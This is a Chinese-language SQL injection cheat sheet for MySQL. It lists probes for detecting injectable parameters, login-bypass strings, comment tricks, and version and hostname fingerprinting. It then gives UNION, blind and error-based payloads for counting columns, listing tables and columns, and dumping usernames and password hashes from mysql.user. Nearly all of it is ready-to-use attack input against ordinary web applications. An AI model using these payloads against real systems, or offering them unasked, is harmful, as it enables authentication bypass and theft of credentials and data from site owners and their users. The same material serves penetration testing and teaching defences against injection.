mysql 需要root权限读取

information_schema 在5以上的版本中存在

测试是否存在注入方法
假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)
真:表示查询是正常的 (返回页面与原来相同)
共三种情况:

字符串类型查询时: 数字类型查询时: 登陆时:

' 假

'' 真

" 假

"" 真

\ 假

\\ 真

AND 1 真

AND 0 假

AND true 真

AND false 假

1-false 有问题时返回1的结果

1-true 有问题时返回0的结果

2-1 返回与1相同代表可能存在问题

1*56 返回与56相同代表可能存在问题

1*56 返回与1相同代表没有问题

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

'='

'LIKE'

'=0--+

例子:
SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可以使用很多单双引号,只要是成对出现。
SELECT * FROM Articles WHERE id = '121'''''''''''''
引号后的语句会继续执行。
SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符号可以用来注释语句:

# Hash 语法

/* C-style 语法

-- - SQL 语法

;%00 空字节

` 反引号

例子:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
测试数据库版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
如果版本为5的话,下面例子返回为真:
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。
数据库认证信息:

表 mysql.user

字段 user, password

当前用户 user(), current_user(), current_user, system_user(), session_user()

例子:
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名:

表 information_schema.schemata, mysql.db

字段 schema_name, db

当前数据库 database(), schema()

例子:
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名:
@@HOSTNAME
例子:
SELECT @@hostname;
表和字段
检测字段数
两种方式:

ORDER BY判断 ORDER BY n+1;
让n一直增加直到出现错误页面。
例子:
查询语句
SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1--+ 真
1' ORDER BY 2--+ 真
1' ORDER BY 3--+ 真
1' ORDER BY 4--+ 假- 查询只用了3个字段
-1' UNION SELECT 1,2,3--+ 真

基于错误查询 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
注意:
这种方式需要你知道所要查询的表名。
这种报错方式返回表的字段数,而不是错误的查询语句。
例子:
查询语句
SELECT permission FROM Users WHERE id = 1;
AND (SELECT * FROM Users) = 1 返回Users的字段数

查询表名
三种方式:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10

盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));--
在5.1.5版本中成功。

查询列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了